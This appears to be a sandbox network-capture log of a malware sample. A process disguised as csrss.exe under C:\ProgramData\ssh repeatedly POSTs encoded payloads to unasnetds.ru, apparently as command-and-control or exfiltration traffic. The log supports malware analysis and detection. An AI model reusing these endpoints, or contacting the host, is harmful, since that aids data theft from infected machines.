Jan 3, 2025 11:47:21.091428995 CET	803	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zj9wZW06b%2BTs1SCKFXuyvOH9ELrqRcW4%2F4BB2NN%2BuGbBEPNtosRMjEXU1FIJYFr%2FPCVnTjd9n2MW5dRZJaYDxA0ZJ2nVDLIYM88x9PU7LWN2hhv%2BaWQXuIofJxOYGB0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26902dbacc466-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3117&min_rtt=1665&rtt_var=3530&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=109881&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:21.236582994 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:21.583230972 CET	1040	OUT	Data Raw: 5a 55 5b 59 5d 5c 55 5f 5a 5d 59 57 59 5a 5b 50 5f 50 54 55 50 58 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU[Y]\U_Z]YWYZ[P_PTUPX[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$9/)6+/##3$>3(]<2.! <-'<3(9*. \'%^.0
Jan 3, 2025 11:47:21.702161074 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:21.961004019 CET	804	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bYTPBlJwlYuwPCFNZQ6LVNSLpxwgbm2h0UwpvWCcglY6Tx8wjwUr0B5XhfLYVoNqAcf9y9U%2BYeWV1Ap8LrNHHmhGyBLf2Ce0AGEYdE2y%2F%2FuC%2Bij%2FVMOrRS0E%2FrCNqZ0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269085eaf80d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3979&min_rtt=1638&rtt_var=5296&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=71688&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:22.093652010 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:22.450261116 CET	1040	OUT	Data Raw: 5a 52 5b 50 5d 52 50 5a 5a 5d 59 57 59 5d 5b 5a 5f 50 54 5c 50 5f 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR[P]RPZZ]YWY][Z_PT\P_[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]:<=!$! ,'.0<\(:'Q&>& ?'<,?<)> \'%^.,
Jan 3, 2025 11:47:22.554935932 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:22.808815002 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pr3lNcsbHbC7h9DtLlgWsnMbdZq8r1j5VGeigaY%2BuruZCExgYG3ta%2BrFWH1YOAJTEpOxJc2SMxViqLALx2kLvCwwEwpHQXIluLlk3VdRK8XGv%2F6Zvnz6zHFz8ks2toA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2690db9ac424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4780&min_rtt=1752&rtt_var=6714&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=56192&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:23.112966061 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:23.471436977 CET	1040	OUT	Data Raw: 5a 57 5b 5c 5d 5c 55 58 5a 5d 59 57 59 5f 5b 51 5f 5b 54 59 50 5c 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW[\]\UXZ]YWY_[Q_[TYP\[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'.<2U6/S43?[0-3>+![**'V21R4P&(5=> \'%^.$
Jan 3, 2025 11:47:23.557571888 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:23.793812037 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:24.143578053 CET	1732	OUT	Data Raw: 5a 54 5e 59 58 5c 55 5d 5a 5d 59 57 59 5d 5b 5a 5f 53 54 58 50 58 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT^YX\U]Z]YWY][Z_STXPX[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'./&R6(#S#$>4(+9+P%.&4%2/??:+> \'%^.,
Jan 3, 2025 11:47:24.246263981 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:24.500274897 CET	944	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eGUAkG9C69MzPSdm3%2BoGp03QOPMXcUnAbMzNkSJ3EU87XlWjK2D95YTfhANpzhr8aCJR2VQ4hnCUy8rXt5D1M0gElkAkPtWq2Fssvv4qFdcEvC4DueQAnbSwGYvCHZg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2691849be5e7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2207&min_rtt=1757&rtt_var=1559&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2077&delivery_rate=272489&cwnd=195&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 22 05 20 2d 28 00 24 5f 3f 55 33 5c 31 50 23 37 36 5c 3a 3a 3d 5a 24 5a 37 57 29 29 27 54 33 3f 35 5f 2a 06 0f 19 32 12 39 1c 26 13 2e 59 0d 11 38 16 28 3f 23 1e 2a 3a 3c 55 2a 11 02 42 27 2c 20 13 3d 2b 27 59 28 31 38 55 23 11 26 0c 2a 31 0f 57 2a 0a 22 05 2a 21 2b 5d 25 1f 2c 5e 0b 12 27 0f 3f 0f 31 52 20 32 22 00 26 13 3b 5a 24 04 27 52 35 0a 33 0d 27 28 37 04 2f 0b 29 51 25 34 28 10 29 01 33 04 34 5e 2e 50 2b 3d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98" -($_?U3\1P#76\::=Z$Z7W))'T3?5_29&.Y8(?#:<UB', =+'Y(18U#&1W"!+]%,^'?1R 2"&;Z$'R53'(7/)Q%4()34^.P+='P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:23.923616886 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:24.268373966 CET	1040	OUT	Data Raw: 5a 54 5b 59 58 5e 55 51 5a 5d 59 57 59 5c 5b 52 5f 5a 54 59 50 59 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT[YX^UQZ]YWY\[R_ZTYPY[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$:Y26+##'4(]6('=>#?>'<3?,"Y> \'%^.(
Jan 3, 2025 11:47:24.383470058 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:24.633975983 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xNOyjbMhhpx6ynk09sGM1LGUoaJX7UNbfaz8hBvgenxp8HLjmc6mZgzwQctTyge%2BPVOraAoMYxB4dwJu1ECOJIkAzdA%2FNFXEyV5SyjkVDrnBfsxIt4P05xWcJXOwFJE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269191dc07cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4795&min_rtt=1844&rtt_var=6595&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=57347&cwnd=175&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:24.762340069 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:25.112963915 CET	1040	OUT	Data Raw: 5a 55 5b 5f 5d 53 50 59 5a 5d 59 57 59 59 5b 5a 5f 57 54 5a 50 5b 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU[_]SPYZ]YWYY[Z_WTZP[[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9.W!; '>'\(9?);%-!"<>&/<_<<&Z)> \'%^.
Jan 3, 2025 11:47:25.214678049 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:25.443456888 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:25.473721981 CET	802	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BQ8SBPl3sx3pftH1Ua9N%2BK0sYPw%2ByExdwBWxb0Nq5FdOWtkEuuii%2Fo8TvgpvhlC3P75LmZVa0yOHniNZCmjgd%2Fku0UAcmK%2Fw4zeLan8SwciWNTJBt6cYOjKwd4Takic%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2691e5cae7c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4399&min_rtt=2057&rtt_var=5456&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=70202&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:25.928512096 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:26.283967972 CET	1040	OUT	Data Raw: 5f 55 5b 5a 5d 52 55 50 5a 5d 59 57 59 5b 5b 51 5f 51 54 59 50 5d 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _U[Z]RUPZ]YWY[[Q_QTYP][XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-=!80#'.#[<=_+(%.&7.Q1;(.*. \'%^.4
Jan 3, 2025 11:47:26.378932953 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:26.642334938 CET	811	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b1p8ZIPpa0jsZe8LtQA6OyJIz%2Bo8JHW867B38fcEPy%2FSt%2B3z%2BAS%2BhwuWprPYDdcIjhV%2FmqJTxcHzgFeD4ta0bgLX%2BAi25O%2Fau05Y45CL2QTw0k%2FhEwLM1eCtnD4tUyI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269259bd743fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2031&min_rtt=1581&rtt_var=1493&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=281744&cwnd=148&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:26.778551102 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:27.130559921 CET	1040	OUT	Data Raw: 5f 52 5e 5e 58 58 55 59 5a 5d 59 57 59 58 5b 55 5f 54 54 58 50 54 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _R^^XXUYZ]YWYX[U_TTXPT[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^':&T5#3'?%Z(*/Q2>-T#Y21?0X<,[+> \'%^.8
Jan 3, 2025 11:47:27.237579107 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:27.408891916 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sd91%2B4Xq1KE1onZ53728vKiQAFlUuQwAZi4cA%2BOBonppYe2HfqEgrYsAzDtB%2BZFvA7b6Xl72GDEpxe3mnASPQULP3L74suWzLnqs0QCuyagIxMk1bOUiwpLoHOdr2N0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2692affe642d4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3345&min_rtt=1697&rtt_var=3934&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=98072&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:27.545447111 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:27.896426916 CET	1040	OUT	Data Raw: 5a 53 5e 5a 5d 5b 50 5d 5a 5d 59 57 59 5a 5b 53 5f 56 54 5b 50 58 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZS^Z][P]Z]YWYZ[S_VT[PX[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^':?W6;37$0>8&<#V1.7/"&,??)* \'%^.0
Jan 3, 2025 11:47:28.014749050 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:28.294950008 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cVzNj1FDiTkuE2d2iDjImozLSWc4pNV2%2B5xUF0FE1o%2BpyAseEkZrFoeiBwGBg3RdahCyoI9TUsqSJYBTTD5I9G14KSJyROFgdZE8lkAmLux2LkzyPQG9TixItm7V%2Fcc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2692fcecf43c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3994&min_rtt=1555&rtt_var=5462&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=69282&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49762	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:29.609191895 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:29.956064939 CET	1040	OUT	Data Raw: 5f 52 5b 50 5d 59 55 5e 5a 5d 59 57 59 56 5b 55 5f 5a 54 58 50 59 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _R[P]YU^Z]YWYV[U_ZTXPY[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$.%"(?S40$%=,<)<,1[>"?.W2/0<*> \'%^.
Jan 3, 2025 11:47:30.084328890 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:30.252257109 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A3ftsp3g4oFkiqN2tYDKsmZwESom5XGMh3ZYHW0%2Fx6dXMimrmQcpZhRLpPbKYqaAuTTicRx6rT%2Fbeon5M8oYlivODahJfc1NaHm3z2khRdJEqbyWyaXaCUvZ11toKEQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2693cb99243d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3207&min_rtt=1520&rtt_var=3945&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=97203&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49763	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
